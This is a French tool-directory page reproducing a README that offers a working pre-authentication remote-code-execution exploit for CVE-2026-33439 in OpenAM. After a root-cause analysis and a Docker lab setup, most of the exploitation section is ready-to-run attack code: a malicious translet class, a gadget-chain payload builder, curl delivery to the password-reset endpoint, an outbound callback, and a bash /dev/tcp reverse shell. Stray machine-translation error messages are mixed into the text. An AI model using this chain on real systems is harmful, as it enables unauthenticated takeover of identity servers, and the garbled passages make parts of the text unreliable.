Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/themalwareguardian/cve-2026-33439
Analyse des VulnérabilitésAnalyse de CodeExploitationRétro-ingénierieExploitation d'Applications WebAnalyse de MalwareTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Exploitation de Binaires
Labs et Pratique
GitHubthemalwareguardian/cve-2026-33439

CVE-2026-33439

Première implémentation d'exploit partagée publiquement pour CVE-2026-33439 (RCE OpenAM avant authentification via la déserialisation de jato.clientSession).

Voir le dépôt
21il y a 3 moisPas encore vérifié
Partager

🐞 CVE-2026-33439 : RCE OpenAM pré-authentification via désérialisation de jato.clientSession

Analyse humaine + analyse assistée par IA + rétro-ingénierie + avis → exploit

Première implémentation d'exploit partagée publiquement pour CVE-2026-33439

Vulnérabilité de désérialisation Java non authentifiée dans ForgeRock OpenAM permettant une exécution de code à distance complète via des objets de session JATO façonnés. La même rivière coule deux fois : ils ont corrigé jato.pageSession (CVE-2021-35464) et oublié jato.clientSession (CVE-2026-33439). Une chaîne de gadgets de désérialisation ne demande pas d'identifiants.




📑 Table des matières

  • Aperçu
  • La lignée CVE-2021-35464
  • Analyse de la vulnérabilité CVE-2026-33439
    📂
    • Cause racine
    • Versions affectées
    • Surface d'attaque
  • La chaîne de gadgets
    📂
    • Désérialisation Java 101
    • Encoder.decodeHttp64
    • Fonctionnement interne de la chaîne de gadgets
  • Environnement de laboratoire
    📂
    • Architecture
    • Mise en place
    • Accès
  • Exploitation
    📂
    • Prérequis
    • Découverte et reconnaissance
    • Comprendre l'encodage
    • Construire l'exploit
    • Livraison de la charge utile
    • Utilisation de l'outil PoC
  • Atténuation
  • Références



🎯 Aperçu

CVE-2026-33439 est une vulnérabilité d'exécution de code à distance pré-authentification dans OpenIdentityPlatform OpenAM (versions antérieures à 16.0.6). La vulnérabilité provient d'une désérialisation Java non sécurisée du paramètre HTTP jato.clientSession dans ClientSession.deserializeAttributes(), qui appelle Encoder.deserialize() → ApplicationObjectInputStream.readObject() sans liste blanche de classes appliquée.

Un attaquant non authentifié envoie une requête HTTP GET ou POST façonnée contenant un objet Java sérialisé à n'importe quel point de terminaison JATO ViewBean dont le JSP rend les balises <jato:form>. À la réception, le serveur désérialise l'objet sans validation, déclenchant une chaîne de gadgets entièrement construite à partir de classes groupées dans le WAR OpenAM - aucune bibliothèque externe requise - et exécute des commandes OS arbitraires en tant qu'utilisateur du processus applicatif.

Vecteur CVSS 4.0 : AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N → 9.3 Critique

Vecteur CVSS 3.1 : AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → 9.8 Critique




Télécharger l’outil
🧬 La lignée CVE-2021-35464

Cette vulnérabilité est une régression directe du correctif incomplet appliqué après CVE-2021-35464.

  • CVE-2021-35464 (ForgeRock AM / OpenAM) : RCE pré-authentification via désérialisation non sécurisée du paramètre jato.pageSession. Largement exploitée dans la nature ; inscrite sur la liste KEV de la CISA. Le correctif a introduit WhitelistObjectInputStream dans ConsoleViewBeanBase.deserializePageAttributes() - une sous-classe personnalisée d'ObjectInputStream qui vérifie chaque nom de classe par rapport à une liste blanche codée en dur d'environ 40 classes sûres avant de l'instancier.

  • CVE-2026-33439 (OpenAM ≤ 16.0.5) : Le correctif n'a été appliqué qu'à jato.pageSession. Le paramètre jato.clientSession - géré par un chemin de code complètement séparé dans ClientSession.deserializeAttributes() - n'a jamais été corrigé et utilise toujours Encoder.deserialize() → ApplicationObjectInputStream non filtré, qui appelle ObjectInputStream.readObject() sans liste blanche de classes.

La primitive d'attaque est la même. Le puits de désérialisation est différent. Seul le nom du paramètre a changé.




🔬 Analyse de la vulnérabilité CVE-2026-33439

Cause racine

JATO sérialise l'état de la vue UI dans des paramètres HTTP nommés jato.pageSession et jato.clientSession. Lorsqu'une requête arrive, OpenAM désérialise ces paramètres pour restaurer l'état de l'UI avant de rendre la réponse. Les deux paramètres suivent des chemins de code entièrement différents.

Le chemin de code corrigé (post-CVE-2021-35464) pour jato.pageSession :```java // PATCHED - ConsoleViewBeanBase.deserializePageAttributes() ObjectInputStream ois = new WhitelistObjectInputStream(new ByteArrayInputStream(decoded)); // class whitelist enforced - gadget chains blocked Object obj = ois.readObject();

root@kitploit:~
Le chemin de code non corrigé pour jato.clientSession (vulnérable) :```java
// ClientSession.java
protected ClientSession(RequestContext context) {
	this.encodedSessionString =
		context.getRequest().getParameter("jato.clientSession");
}

protected void deserializeAttributes() {
	if (this.encodedSessionString != null
		&& this.encodedSessionString.trim().length() > 0) {
		this.setAttributes(
			(Map) Encoder.deserialize(
				// VULNERABLE - URL-safe base64 decode then plain ObjectInputStream
				Encoder.decodeHttp64(this.encodedSessionString), false)
		);
	}
}

Encoder.deserialize() construit un simple ApplicationObjectInputStream — une sous-classe de ObjectInputStream sans filtrage de classes. Toute classe présente sur le classpath de la JVM peut être instanciée. La désérialisation est déclenchée lors du rendu JSP chaque fois qu'une balise < jato:form > est rendue :``` getClientSession() → hasAttributes() → getEncodedString() → isValid() → ensureAttributes() → deserializeAttributes()

root@kitploit:~
---

<div id="vulnerability_affected"/>

### ***Versions concernées***

| Produit                        | Vulnérable                                       | Corrigé |
|--------------------------------|--------------------------------------------------|---------|
| OpenIdentityPlatform OpenAM    | ≤ 16.0.5                                         | 16.0.6  |
| ForgeRock AM (downstream)      | Potentiellement concerné selon la lignée de correctifs | -       |

---

<div id="vulnerability_attacksurface"/>

### ***Surface d'attaque***

Tout endpoint JATO ViewBean dont le JSP contient une balise *< jato:form >* est exploitable sans authentification :

| Endpoint                  | Objectif                              |
|---------------------------|---------------------------------------|
| /ui/PWResetUserValidation | Réinitialisation du mot de passe – saisie de l'identité utilisateur |
| /ui/PWResetQuestion       | Réinitialisation du mot de passe – questions de sécurité |

Les endpoints de réinitialisation de mot de passe sont la cible principale : ils sont accessibles publiquement par conception et garantis de rendre des balises *< jato:form >*.



---
---
---



<div id="gadgetchain"/>

## ***⚙️ La chaîne de gadgets***

<div id="gadgetchain_deserialization101"/>

### ***Désérialisation Java 101***

Quand Java désérialise un objet depuis un flux d'octets, il appelle readObject() sur chaque classe qu'il reconstruit, y compris les objets imbriqués. Si un attaquant contrôle le flux d'octets et injecte un objet dont readObject() déclenche une chaîne d'appels de méthodes aboutissant à l'exécution de code, il dispose d'un RCE par chaîne de gadgets.

Le point clé de CVE-2026-33439 : la chaîne de gadgets ne nécessite aucune bibliothèque externe. Chaque classe de la chaîne est incluse directement dans le WAR OpenAM lui-même : `openam-core-16.0.5.jar, xalan-2.7.3.jar, et click-nodeps-2.3.0.jar`. <u>Cela rend la vulnérabilité exploitable sur tout déploiement OpenAM par défaut.</u>

---

<div id="gadgetchain_encoding"/>

### ***Encoder.decodeHttp64***

C'est le détail critique qui rend l'exploitation possible. La classe `Encoder` dans `jato-shaded-16.0.5.jar` utilise l'encodeur/décodeur base64 URL-safe de Java – pas le base64 standard, et pas un schéma de substitution de caractères personnalisé.

Vérifié en décompilant Encoder.class :```bash
# Extract Encoder.class from the JATO JAR
jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class

# Decompile and inspect decodeHttp64
javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"

I received no input text to translate. The chunk appears to be empty. Please provide the content for chunk 9 of 73, and I’ll translate it into French.``` public static byte[] decodeHttp64(java.lang.String); Code: 0: invokestatic #8 // Method java/util/Base64.getUrlDecoder:()Ljava/util/Base64$Decoder; 3: aload_0 4: invokevirtual #9 // Method java/util/Base64$Decoder.decode:(Ljava/lang/String;)[B 7: areturn

root@kitploit:~
Le base64 sûr pour les URL utilise '-' au lieu de '+' et '_' au lieu de '/', sans caractère de remplissage '='. Le codage correct est :```java
Base64.getUrlEncoder().withoutPadding().encodeToString(serializedBytes)

Toute autre encapsulation, y compris la base64 standard ou la substitution manuelle de caractères, fera que decodeHttp64() lèvera une exception ou produira des octets corrompus, interrompant silencieusement la désérialisation sans erreur dans la réponse HTTP.


Détails internes de la chaîne de gadgets

La chaîne complète, utilisant uniquement des classes issues du WAR OpenAM :``` PriorityQueue.readObject() [java.util - JDK] → heapify() → siftDown() → comparator.compare() → Column$ColumnComparator.compare(o1, o2) [openam-core-16.0.5.jar] → Column.getTable().isSortedAscending() [click-nodeps-2.3.0.jar] → Column.getProperty(o1) → PropertyUtils.getObjectPropertyValue( [openam-core-16.0.5.jar] o1, "outputProperties") → Method.invoke(o1, "getOutputProperties") → TemplatesImpl.getOutputProperties() [xalan-2.7.3.jar] → getTransletInstance() → defineTransletClasses() → TransletClassLoader.defineClass(_bytecodes) → _class[_transletIndex].newInstance() → EvilTranslet.() [attacker bytecode] → Runtime.getRuntime().exec(cmd)

root@kitploit:~
Le contenu du chunk à traduire est vide (aucun texte Markdown n'a été fourni après « INPUT: »). Merci de fournir le contenu réel du chunk 15 pour que je puisse le traduire en français.```bash
# Extract Column$ColumnComparator.class from the JAR
jar xf /work/openam-core-16.0.5.jar 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class'

# Decompile and inspect the compare() method, reveals getTable() call before getProperty()
javap -p -c 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class' | grep -A40 "compare"

# Extract and inspect Column.class, reveals getProperty() and setTable() methods
jar xf /work/openam-core-16.0.5.jar org/openidentityplatform/openam/click/control/Column.class

javap -p org/openidentityplatform/openam/click/control/Column.class | grep -i "getProperty\|setTable\|getTable\|getComparator"

Critical detail: « Column$ColumnComparator.compare() » appelle « column.getTable().isSortedAscending() » avant d'appeler « getProperty() ». Si « getTable() » renvoie null, la chaîne s'interrompt avec une « NullPointerException » avant d'atteindre « TemplatesImpl ». Un objet « Table » doit être associé à la « Column » via « column.setTable(table) » avant la sérialisation.




🧪 Environnement de laboratoire

Architecture```

┌────────────────────────────────────────────────────────────────┐ │ Docker Network: lab_net │ │ (subnet 10.13.37.0/24) │ │ │ │ ┌──────────────────────────────┐ ┌───────────────────────┐ │ │ │ openam.lab.local │ │ attacker │ │ │ │ OpenAM 16.0.5 WAR │◄──│ Debian bookworm-slim │ │ │ │ Tomcat 10.1.52 + Java 21 │ │ Java 21 (JDK) │ │ │ │ jato.clientSession ← sink │ │ python3, curl, nc │ │ │ │ port 8080 │ │ │ │ │ └──────────────────────────────┘ └───────────────────────┘ │ │ ▲ │ └──────────────────┼─────────────────────────────────────────────┘ │ localhost:8080 ┌──────┴──────┐ │ HOST │ └─────────────┘

root@kitploit:~
| Conteneur               | Image                                    | Rôle              |
|-------------------------|------------------------------------------|-------------------|
| cve_2026_33439_openam   | tomcat:10.1.52-jdk21 + OpenAM 16.0.5 WAR | Cible vulnérable  |
| cve_2026_33439_attacker | debian:bookworm-slim                     | Machine d'attaque |

> Le lab utilise le WAR officiel OpenAM 16.0.5 déployé sur Tomcat 10.1.52 avec Java 21 - l'environnement exact décrit dans l'avis de sécurité GitHub.

---

<div id="lab_setup"/>

### ***Configuration***

<p align="center">
	<img src="https://assets.kitploit.com/production/public/readmes/42320/eb3503ff207da2ca52bfa3d31aa36089671fbc32e784f97ac720b24f9b281aeb.png">
</p>

**Étape 1 - Télécharger le WAR officiel OpenAM 16.0.5**```powershell
# From PowerShell on the host
cd "01 Vulnerable"

Invoke-WebRequest -Uri "https://github.com/OpenIdentityPlatform/OpenAM/releases/download/16.0.5/OpenAM-16.0.5.war" -OutFile "OpenAM-16.0.5.war"

Étape 2 - Démarrer les conteneurs```powershell docker compose up -d

root@kitploit:~
**Étape 3 - Configurer OpenAM depuis le navigateur**

Accédez à "http://localhost:8080/openam", cliquez sur "Create Default Configuration" puis définissez :

| Field                           | Value         |
|---------------------------------|---------------|
| Default User Password (amadmin) | Lab@dm1n2026! |
| Agent Password                  | secret12      |

Attendez environ 2 minutes pour que la configuration soit terminée.

**Étape 4 - Vérifier que la réinitialisation du mot de passe est activée**

Connectez-vous en tant qu'amadmin → Configure → Global Services → Password Reset → activez la bascule → Save Changes.

**Étape 5 - Identifier les points de terminaison JSP exploitables**

Recherchez tous les JSP du WAR qui contiennent des balises *< jato:form >* ; ce sont les points de terminaison où la désérialisation de jato.clientSession est déclenchée :```powershell
# Identify all JSPs containing <jato:form> tags - these are the deserialization sinks
docker exec cve_2026_33439_openam grep -rl "jato:form" /usr/local/tomcat/webapps/openam

# Inspect web.xml to understand how the password reset servlet is mapped to HTTP routes
docker exec cve_2026_33439_openam grep -A5 -B5 "PWReset\|password" /usr/local/tomcat/webapps/openam/WEB-INF/web.xml | Select-String "url-pattern|servlet-name|PWReset|password"

Inspectez le code source JSP pour comprendre pourquoi jato.clientSession peut ne pas apparaître dans le HTML rendu. La balise <jato:form> est enveloppée dans <jato:content name="resetPage">, qui n'est rendu que lorsque le ViewBean active ce bloc. Cependant, <jato:useViewBean> en haut du JSP instancie toujours le ViewBean et traite jato.clientSession avant de décider quels blocs rendre — la désérialisation se produit à ce stade, quoi qu'il en soit :```powershell docker exec cve_2026_33439_openam cat /usr/local/tomcat/webapps/openam/password/ui/PWResetUserValidation.jsp

root@kitploit:~
No input content was provided to translate. Please resend the chunk text.```jsp
<%-- Always instantiates ViewBean and processes jato.clientSession --%>
<jato:useViewBean className="com.sun.identity.password.ui.PWResetUserValidationViewBean">

	<%-- Only renders if ViewBean activates this block --%>
	<jato:content name="resetPage">
		<jato:form name="PWResetUserValidation" method="post">
			<%-- jato.clientSession hidden field appears here --%>
		</jato:form>
	</jato:content>

</jato:useViewBean>

Étape 6 - Vérifier que l'endpoint est accessible avant l'authentification```powershell (Invoke-WebRequest -Uri "http://localhost:8080/openam/ui/PWResetUserValidation" -UseBasicParsing).Content | Select-String "jato"

root@kitploit:~
---

<div id="lab_access"/>

### ***Accès***```powershell
# Drop into the attacker container
docker exec -it cve_2026_33439_attacker bash

Démontage:```powershell

stop, keep volumes

docker compose down

full wipe

docker compose down -v

root@kitploit:~
---
---
---



<div id="exploitation"/>

## ***💣 Exploitation***

<div id="exploitation_prerequisites"/>

### ***Prérequis***

<p align="center">
	<img src="https://assets.kitploit.com/production/public/readmes/42320/2973d3543882b160a0c3e86bc565ee7e018c3869ebd211fd7acc60dc64dd2975.png">
</p>

| Exigence               | Notes                                                                                                                           |
|------------------------|---------------------------------------------------------------------------------------------------------------------------------|
| JDK 21 (javac)         | Doit correspondre à la version JVM exécutant OpenAM. Le JRE seul ne suffit pas, javac est requis pour compiler EvilTranslet et PayloadBuilder |
| openam-core-16.0.5.jar | Copié depuis le conteneur OpenAM - contient Column, Column$ColumnComparator, PropertyUtils                                     |
| xalan-2.7.3.jar        | Copié depuis le conteneur OpenAM - contient TemplatesImpl, TransformerFactoryImpl                                               |
| serializer-2.7.3.jar   | Copié depuis le conteneur OpenAM - contient SerializationHandler utilisé par EvilTranslet                                      |
| click-nodeps-2.3.0.jar | Copié depuis le conteneur OpenAM - contient Table (requis par Column$ColumnComparator)                                          |
| click-extras-2.3.0.jar | Copié depuis le conteneur OpenAM - dépendance transitive de click-nodeps                                                        |
| jato-shaded-16.0.5.jar | Copié depuis le conteneur OpenAM - contient Encoder avec decodeHttp64                                                           |
| servlet-api.jar        | Copié depuis Tomcat lib/ - Jakarta Servlet API requise pour la sérialisation de Table                                           |
| Python 3.8+            | Pour le script PoC                                                                                                              |
| requests               | pip install requests                                                                                                            |

---

<div id="exploitation_discovery"/>

### ***Découverte et Reconnaissance***

**Étape 1 - Confirmer qu'OpenAM est en cours d'exécution et identifier la version**```
http://localhost:8080/openam/ccversion/Version

Étape 2 - Sonder les points de terminaison JATO ViewBean```bash for ENDPOINT in "/ui/PWResetUserValidation" "/ui/PWResetQuestion" "/ui/Login"; do STATUS=$(curl -sk -o /dev/null -w "%{http_code}"
"http://openam.lab.local:8080/openam${ENDPOINT}?jato.clientSession=probe") echo "[HTTP ${STATUS}] ${ENDPOINT}" done

root@kitploit:~
**Étape 3 - Confirmer que jato.clientSession est traité**```bash
curl -sk "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" | grep "jato"

La réponse contiendra "jato.defaultCommand" et "jato.pageSession", mais pas "jato.clientSession" dans le HTML rendu ; c'est un comportement attendu. Le champ "jato.clientSession" n'apparaît qu'à l'intérieur de < jato:content name="resetPage" >, ce qui nécessite que le ViewBean active ce bloc. Cependant, < jato:useViewBean > instancie toujours le ViewBean et traite "jato.clientSession" avant de décider quels blocs rendre. La désérialisation est déclenchée au moment de l'instanciation, que le champ apparaisse ou non dans le HTML final. La présence de "jato.pageSession" dans la réponse confirme que la sérialisation JATO est active sur ce point de terminaison et que "jato.clientSession" sera désérialisé à la prochaine requête.


Comprendre l'encodage

Avant de construire l'exploit, l'encodage utilisé par "Encoder.decodeHttp64()" doit être vérifié en décompilant le JAR JATO. Cette étape est essentielle : utiliser le mauvais encodage provoque un échec silencieux de la désérialisation.

Étape 1 - Copier tous les JAR requis depuis OpenAM vers l'espace de travail de l'attaquant

Depuis PowerShell sur l'hôte :```powershell docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/openam-core-16.0.5.jar . docker cp openam-core-16.0.5.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/xalan-2.7.3.jar . docker cp xalan-2.7.3.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/serializer-2.7.3.jar . docker cp serializer-2.7.3.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/click-nodeps-2.3.0.jar . docker cp click-nodeps-2.3.0.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/click-extras-2.3.0.jar . docker cp click-extras-2.3.0.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/jato-shaded-16.0.5.jar . docker cp jato-shaded-16.0.5.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/lib/servlet-api.jar . docker cp servlet-api.jar cve_2026_33439_attacker:/work/

root@kitploit:~
**Étape 2 - Décompiler l'encodeur pour vérifier la méthode de décodage**

Depuis l'intérieur du conteneur de l'attaquant :```bash
# Extract Encoder.class from the JATO JAR
jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class

# Decompile and inspect decodeHttp64
javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"

Sortie attendue confirmant le base64 URL-safe :``` public static byte[] decodeHttp64(java.lang.String); Code: 0: invokestatic #8 // Method java/util/Base64.getUrlDecoder:()Ljava/util/Base64$Decoder; 3: aload_0 4: invokevirtual #9 // Method java/util/Base64$Decoder.decode:(Ljava/lang/String;)[B 7: areturn

root@kitploit:~
**Étape 3 - Décompiler Column$ColumnComparator pour vérifier le chemin de la chaîne de gadgets**```bash
# Extract Column and ColumnComparator
jar xf /work/openam-core-16.0.5.jar org/openidentityplatform/openam/click/control/Column.class

# Verify compare() calls getTable() before getProperty()
javap -p -c 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class' | grep -A40 "compare"

Ceci confirme que Column.getTable() doit retourner un objet Table non nul, sinon compare() lève une NullPointerException avant d'atteindre getProperty() → TemplatesImpl.


Construction de l'exploit

Toutes les commandes depuis l'intérieur du conteneur de l'attaquant.

Étape 1 - Définir le classpath```bash CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work

root@kitploit:~
**Étape 2 - Écrire et compiler EvilTranslet.java**

EvilTranslet étend AbstractTranslet (requis par TemplatesImpl) et exécute la commande dans l'initialiseur statique, qui s'exécute automatiquement lors de newInstance().```bash
cat > /work/EvilTranslet.java << 'EOF'
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
import org.apache.xalan.xsltc.DOM;

public class EvilTranslet extends AbstractTranslet {
	static {
		try {
			Runtime.getRuntime().exec(new String[]{"touch", "/tmp/pwned"});
		} catch (Exception ignored) {}
	}
	public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
	public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}
EOF

javac -cp $CP /work/EvilTranslet.java

Étape 3 - Écrire et compiler PayloadBuilder.java

PayloadBuilder construit la chaîne de gadgets et génère le payload sérialisé encodé en base64 URL-safe.```bash cat > /work/PayloadBuilder.java << 'EOF' import org.apache.xalan.xsltc.trax.TemplatesImpl; import org.apache.xalan.xsltc.trax.TransformerFactoryImpl; import org.openidentityplatform.openam.click.control.Column; import org.openidentityplatform.openam.click.control.Table;

import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.Comparator; import java.util.PriorityQueue;

public class PayloadBuilder {

root@kitploit:~
// Encoder.decodeHttp64() uses Java URL-safe base64 (getUrlDecoder)
static String encodeHttp64(byte[] data) {
	return Base64.getUrlEncoder().withoutPadding().encodeToString(data);
}

static void setField(Object obj, String name, Object value) throws Exception {
	Field f = obj.getClass().getDeclaredField(name);
	f.setAccessible(true);
	f.set(obj, value);
}

static void setFieldPQ(Object obj, String name, Object value) throws Exception {
	Field f = PriorityQueue.class.getDeclaredField(name);
	f.setAccessible(true);
	f.set(obj, value);
}

public static void main(String[] args) throws Exception {
	byte[] bytecode = Files.readAllBytes(Paths.get(args[0]));

	// Step 1 - TemplatesImpl with EvilTranslet bytecode
	// getOutputProperties() -> defineTransletClasses() -> newInstance() -> <clinit>
	TemplatesImpl templates = new TemplatesImpl();
	setField(templates, "_bytecodes",     new byte[][]{ bytecode });
	setField(templates, "_name",          "EvilTranslet");
	setField(templates, "_tfactory",      new TransformerFactoryImpl());
	setField(templates, "_transletIndex", 0);

	// Step 2 - Column with Table associated
	// Column$ColumnComparator.compare() calls column.getTable().isSortedAscending() before calling column.getProperty(). Table must not be null.
	Table table = new Table();
	Column column = new Column("outputProperties");
	column.setTable(table);

	@SuppressWarnings("unchecked")
	Comparator<Object> comparator = (Comparator<Object>) column.getComparator();

	// Step 3 - PriorityQueue as deserialization trigger
	// readObject() -> heapify() -> siftDown() -> comparator.compare()
	// Size must be >= 2 for heapify to call compare()
	PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
	setFieldPQ(queue, "queue", new Object[]{ templates, templates });
	setFieldPQ(queue, "size",  2);

	// Step 4 - Serialize and URL-safe base64 encode
	ByteArrayOutputStream baos = new ByteArrayOutputStream();
	ObjectOutputStream oos = new ObjectOutputStream(baos);
	oos.writeObject(queue);
	oos.close();

	System.out.println(encodeHttp64(baos.toByteArray()));
}

} EOF

javac -cp $CP /work/PayloadBuilder.java

root@kitploit:~
**Étape 4 - Générer le payload**```bash
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload.b64

# Verify it starts with the Java serialization magic bytes (rO0A = \xACED\x00\x05 in base64)
head -c 10 /work/payload.b64

Livraison du payload

Confirmez la RCE avec un rappel HTTP hors bande

Terminal 1 - Écouteur :``` docker exec -it cve_2026_33439_attacker bash

nc -lvnp 9999

root@kitploit:~
Terminal 2 - Générer et envoyer le payload de callback :```
docker exec -it cve_2026_33439_attacker bash

cat > /work/EvilTranslet.java << 'EOF'
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
import org.apache.xalan.xsltc.DOM;

public class EvilTranslet extends AbstractTranslet {
	static {
		try {
			Runtime.getRuntime().exec(new String[]{"curl", "http://attacker:9999/pwned"});
		} catch (Exception ignored) {}
	}
	public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
	public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}
EOF

CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work

javac -cp $CP /work/EvilTranslet.java

java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_http.b64

PAYLOAD=$(cat /work/payload_http.b64)

curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."

Si RCE fonctionne, le Terminal 1 reçoit une connexion HTTP entrante depuis le serveur OpenAM :``` nc -lvnp 9999 listening on [any] 9999 ... connect to [10.13.37.2] from (UNKNOWN) [10.13.37.3] 51992 GET /pwned HTTP/1.1 Host: attacker:9999 User-Agent: curl/8.5.0 Accept: /

root@kitploit:~
**Écrire un artefact de fichier**

<p align="center">
	<img src="https://assets.kitploit.com/production/public/readmes/42320/1a393801c28cfd5e0e6a39210562399aa1840cf7bd25bc839a397f627729c037.png">
</p>```
cat > /work/EvilTranslet.java << 'EOF'
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
import org.apache.xalan.xsltc.DOM;

public class EvilTranslet extends AbstractTranslet {
	static {
		try {
			Runtime.getRuntime().exec(new String[]{"touch", "/tmp/pwned"});
		} catch (Exception ignored) {}
	}
	public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
	public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}
EOF

CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work

javac -cp $CP /work/EvilTranslet.java

java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_file.b64

PAYLOAD=$(cat /work/payload_file.b64)

curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."

Vérifier depuis PowerShell :``` docker exec cve_2026_33439_openam ls -la /tmp/pwned

root@kitploit:~
**Shell inversé**

<p align="center">
	<img src="https://assets.kitploit.com/production/public/readmes/42320/3e8c65c8fc037c62904e16abf7ffce67ecf3f9af373ee6dd8b63691579d5d1ac.png">
</p>

Terminal 1 - Écouteur:```
docker exec -it cve_2026_33439_attacker bash

nc -lvnp 4444

Terminal 2 - Livraison:``` docker exec -it cve_2026_33439_attacker bash

CMD='bash -i >& /dev/tcp/attacker/4444 0>&1'

B64CMD=$(echo "$CMD" | base64 -w 0)

cat > /work/EvilTranslet.java << EOF import org.apache.xalan.xsltc.TransletException; import org.apache.xalan.xsltc.runtime.AbstractTranslet; import org.apache.xml.dtm.DTMAxisIterator; import org.apache.xml.serializer.SerializationHandler; import org.apache.xalan.xsltc.DOM;

public class EvilTranslet extends AbstractTranslet { static { try { Runtime.getRuntime().exec(new String[]{"bash", "-c", "echo ${B64CMD} | base64 -d | bash"}); } catch (Exception ignored) {} } public void transform(DOM d, SerializationHandler[] h) throws TransletException {} public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {} } EOF

CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work

javac -cp $CP /work/EvilTranslet.java

java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_shell.b64

PAYLOAD=$(cat /work/payload_shell.b64)

curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."

root@kitploit:~
---

<div id="exploitation_poc"/>

### ***Utilisation de l'outil PoC***

<p align="center">
	<img src="https://assets.kitploit.com/production/public/readmes/42320/f4a2a2d62540ff075135581b05071fb58dc67cfc95de469c201fdd4d052f4c5e.png">
</p>

Le script Python automatise toute la chaîne : compile EvilTranslet, construit la chaîne de gadgets via PayloadBuilder, encode en base64 URL-safe, puis l'envoie.```bash
# Copy JARs to the exploit directory first

[attacker@lab /work]$

touch Exploit_CVE_2026_33439.py

vi Exploit_CVE_2026_33439.py

python3 Exploit_CVE_2026_33439.py --help

python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "touch /tmp/pwned"

python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "bash -i >& /dev/tcp/attacker/4444 0>&1"

